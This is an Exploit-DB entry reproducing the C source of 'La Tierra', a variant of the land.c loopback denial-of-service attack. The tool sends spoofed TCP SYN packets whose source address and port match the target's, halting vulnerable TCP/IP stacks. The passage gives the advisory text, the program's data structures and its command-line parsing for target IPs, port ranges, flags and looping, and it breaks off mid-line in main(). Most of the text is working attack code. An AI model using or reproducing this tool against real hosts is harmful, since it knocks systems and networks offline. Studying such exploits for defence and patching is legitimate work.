Exploit-DB #20813
Description: FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 / NetBSD 1 - 'land.c' loopback Denial of Service (4)
Type: dos
Platform: multiple
Date: 1997-11-20
Author: MondoMan

Exploit:
/*
source: https://www.securityfocus.com/bid/2666/info
   
A number of TCP/IP stacks are vulnerable to a "loopback" condition initiated by sending a TCP SYN packet with the source address and port spoofed to equal the destination source and port. When a packet of this sort is received, an infinite loop is initiated and the affected system halts. This is known to affect Windows 95, Windows NT 4.0 up to SP3, Windows Server 2003, Windows XP SP2, Cisco IOS devices & Catalyst switches, and HP-UX up to 11.00.
   
It is noted that on Windows Server 2003 and XP SP2, the TCP and IP checksums must be correct to trigger the issue.
   
**Update: It is reported that Microsoft platforms are also prone to this vulnerability. The vendor reports that network routers may not route malformed TCP/IP packets used to exploit this issue. As a result, an attacker may have to discover a suitable route to a target computer, or reside on the target network segment itself before exploitation is possible. 
*/


/**************************************************************/
/*                                                            */
/*  La Tierra v1.0b  - by MondoMan (KeG), elmondo@usa.net     */
/*                                                            */
/*  Modified version of land.c by m3lt, FLC                   */
/*                                                            */
/*  Compiled on RedHat Linux 2.0.27, Intel Pentium 200Mhz     */
/*  gcc version 2.7.2.1       tabs set to 3                   */
/*                                                            */
/*  gcc latierra.c -o latierra                                */
/*                                                            */
/*  Refer to readme.txt for more details and history          */
/*                                                            */
/**************************************************************/                                  
#include <stdio.h>
#include <getopt.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h> 

#define DEFAULT_FREQUENCY		1 
#define TRUE	 					1
#define FALSE   					0
#define FOR_EVER 					-5
#define LIST_FILE  				1
#define ZONE_FILE  				2
#define MAXLINELENGTH 			512
#define DEFAULT_SEQ				0xF1C
#define DEFAULT_TTL           0xFF
#define DEFAULT_TCPFLAGS      (TH_SYN | TH_PUSH)
#define DEFAULT_WINSIZE       0xFDE8

struct pseudohdr
	{
   struct in_addr saddr;
   struct in_addr daddr;
   u_char zero;
   u_char protocol;
   u_short length;
   struct tcphdr tcpheader;
	};

typedef struct latierra_data
	{
	char dest_ip[256];
	int  tcp_flags;
	int  window_size;
	int  ip_protocol;
	int  sequence_number;
	int  ttl;
	int  supress_output;
        int  message_type;
	} LATIERRA_DATA;

void alternatives(void);
int  get_ip(int use_file, FILE *fp, char *buff);
int  land(LATIERRA_DATA *ld, int port_number);
void nslookup_help(void);
void print_arguments(void);
void protocol_list(void);

/********/
/* main */
/********/
int main(int argc, char **argv)
{
	FILE *fp;
	LATIERRA_DATA ld;
	int frequency = DEFAULT_FREQUENCY, x;
	int beginning_port=1, octet=1, scan_loop=0, loop_val=0, use_file=FALSE;
	int ending_port = 0, loop = TRUE, i = 0, increment_addr = FALSE;
   char got_ip = FALSE, got_beg_port = FALSE;
	char class_c_addr[21], filename[256], buff[512], valid_tcp_flags[16];

	printf("\nlatierra v1.0b by MondoMan (elmondo@usa.net), KeG\n");
   printf("Enhanced version of land.c originally developed by m3lt, FLC\n");

	strcpy(valid_tcp_flags, "fsrpau");
	ld.tcp_flags = 0;
	ld.window_size = DEFAULT_WINSIZE;
	ld.ip_protocol = IP_TCP;
	ld.sequence_number = DEFAULT_SEQ;
	ld.ttl = DEFAULT_TTL;
	ld.message_type = 0;
	
	if(argc > 1 && (!strcmp(argv[1], "-a")))
		alternatives();

	if(argc > 1 && (!strcmp(argv[1], "-n")))
		nslookup_help();

	if(argc > 1 && (!strcmp(argv[1], "-p")))
		protocol_list();

	if(argc == 1 || ( (argc >= 2) && (!strcmp(argv[1], "-h"))))
		print_arguments();

	while((i = getopt(argc, argv, "i:b:e:s:l:o:t:w:p:q:v:m:")) != EOF)
		{
		switch(i)
			{	
			case 't':
				for(x=0;x<strlen(optarg);x++)
					switch(optarg[x])
						{
						case 'f':                        /* fin */
							ld.tcp_flags |= TH_FIN;
							break;
						case 's':                        /* syn */
							ld.tcp_flags |= TH_SYN;
							break;
						case 'r':                        /* reset */
							ld.tcp_flags |= TH_RST;
							break;
						case 'p':                        /* push */
							ld.tcp_flags |= TH_PUSH;			
							break;
						case 'a':                        /* ack */
							ld.tcp_flags |= TH_ACK;
							break;
						case 'u':                        /* urgent */
							ld.tcp_flags |= TH_URG;
							break;
						default:
							printf("\nERROR: Invalid option specified [ %c ] for tcp_flags.\n\n", optarg[x]);
							return(-12);
							break;
						}
				break;
			case 'q':
				ld.sequence_number = atoi(optarg);
				break;
			case 'w':
				ld.window_size = atoi(optarg);
				break;
			case 'm':
				ld.message_type = atoi(optarg);
				break;
			case 'v':
				ld.ttl = atoi(optarg);
				break;
			case 'p':
				ld.ip_protocol = atoi(optarg);
				break;
			case 'o':
				ld.supress_output = TRUE;
				break;
			case 'i':
				if(strlen(optarg) > 1)
					strcpy(ld.dest_ip, optarg);
				else
					{
					printf("ERROR: Must specify valid IP or hostname.\n");
					return(-6);
					}
				got_ip = TRUE;
				break;
			case 's':
				frequency = atoi(optarg);	
				break;
			case 'l':
				loop = atoi(optarg);
				break;
			case 'b':
				beginning_port = atoi(optarg);
				got_beg_port = TRUE;
				break;
			case 'e':
				ending_port = atoi(optarg);
				break;
			}
		}

	if(!ld.